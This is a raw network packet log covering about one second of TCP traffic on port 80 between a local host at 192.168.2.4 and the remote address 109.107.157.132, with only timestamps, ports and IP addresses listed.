Nov 21, 2024 22:33:42.141977072 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.143686056 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.143734932 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.143795013 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.143841982 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.144841909 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.144911051 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.144946098 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.144993067 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.146325111 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.146389961 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.193209887 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.193324089 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.193326950 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.193381071 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.193934917 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.193981886 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.219293118 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.219393015 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.219405890 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.219450951 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.220019102 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.220067024 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.220102072 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.220146894 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.221498013 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.221544981 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.222069025 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.222135067 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.222198963 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.222259045 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.223601103 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.223649979 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.223691940 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.223743916 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.225075006 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.225125074 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.271378040 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.271445990 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.271449089 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.271497965 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.272020102 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.272064924 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.297566891 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.297585011 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.297696114 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.297904015 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.297955036 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.297986031 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.298029900 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.299416065 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.299474955 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.299509048 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.299551010 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.300962925 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.301012039 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.301048994 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.301090956 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.302463055 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.302481890 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.302509069 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.302536011 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.303941965 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.303996086 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.349639893 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.349657059 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.349761963 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.350261927 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.350316048 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.376110077 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.376173973 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.376182079 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.376226902 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.376770973 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.376817942 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.376853943 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.376910925 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.378231049 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.378283024 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.378345966 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.378408909 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.379761934 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.379813910 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.379951954 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.379997015 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.381256104 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.381316900 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.381351948 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.381398916 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.382775068 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.382838011 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.427865028 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.427891016 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.427973032 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.427994013 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.428402901 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.428452015 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.454154015 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.454235077 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.454241037 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.454272032 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.454504967 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.454551935 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.454619884 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.454662085 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.456031084 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.456085920 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.456120014 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.456173897 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.457580090 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.457598925 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.457627058 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.457644939 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.459079027 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.459140062 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.459165096 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.459204912 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.460531950 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.460587025 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.505443096 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.505506992 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.505522013 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.505565882 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.506120920 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.506175041 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.506438017 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.506489992 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.506534100 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.506639957 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.507925987 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.507998943 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.532629013 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.532701969 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.532826900 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.532881975 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.533277035 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.533325911 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.533385038 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.533431053 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.534792900 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.534846067 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.534879923 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.534928083 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.536345005 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.536406040 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.536439896 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.536488056 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.537883997 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.537895918 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.537949085 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.583586931 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.583664894 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.583689928 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.583738089 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.584290981 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.584347010 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.584583044 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.584634066 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.584711075 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.584760904 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.586102009 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.586153030 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.610790014 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.610892057 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.610896111 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.610949993 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.611507893 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.611567020 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.611624956 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.611679077 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.613028049 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.613081932 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.613121033 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.613169909 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.614600897 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.614659071 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.614676952 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.614723921 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.616094112 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.616112947 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.616144896 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.616164923 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.661789894 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.661853075 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.661866903 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.661891937 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.662425041 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.662476063 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.662731886 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.662770033 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.662869930 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.662921906 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.664232016 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.664288044 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.688966036 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.689024925 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.689203978 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.689265966 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.689337969 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.689382076 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.689555883 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.689606905 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.690865040 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.690917969 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.690953016 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.691001892 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.692405939 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.692456007 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.692544937 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.692586899 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.693883896 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.693933964 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.693972111 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.694017887 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.695400953 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.695453882 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.695483923 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.695530891 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.740093946 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.740155935 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.740209103 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.740256071 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.740684032 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.740730047 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.740972042 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.741019011 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.741087914 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.741130114 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.742466927 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.742522001 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.767229080 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.767287970 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.767381907 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.767427921 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.767905951 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.767955065 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.767975092 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.768018007 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.769090891 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.769139051 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.769210100 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.769259930 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.770581961 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.770633936 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.770729065 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.770771980 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.772142887 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.772185087 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.772196054 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.772233963 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.773649931 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.773710012 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.773715973 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.773751974 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.818111897 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.818176031 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.818239927 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.818298101 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.818885088 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.818937063 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.819190979 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.819242001 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.819298029 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.819341898 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.820677996 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.820755959 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.845745087 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.845877886 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.845882893 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.845927954 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.846436977 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.846487999 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.846602917 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.847012043 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.847975969 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.848124981 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.848154068 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.848175049 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.849478006 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.849531889 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.849571943 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.849617004 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.851001978 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.851061106 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.851172924 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.851214886 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.852515936 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.852561951 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.852619886 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.852660894 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.896457911 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.896522999 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.896550894 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.896600008 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.897106886 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.897165060 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.897417068 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.897464037 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.897526026 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.897571087 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.898917913 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.898967981 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.924042940 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.924103975 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.924181938 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.924231052 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.924792051 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.924845934 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.924861908 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.924906015 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.926278114 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.926342010 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.926377058 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.926422119 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.927823067 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.927874088 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.927915096 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.927969933 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.929339886 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.929392099 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.929425001 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.929466963 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.930840969 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.930896044 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.930955887 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.931010008 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.974700928 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.974720955 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.974877119 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.975409031 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.975469112 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.975651979 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.975703955 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.975723028 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.975773096 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.977196932 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.977271080 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:43.012876987 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:43.012948036 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:43.012984037 CET	80	49759	109.107.157.132	192.168.2.4
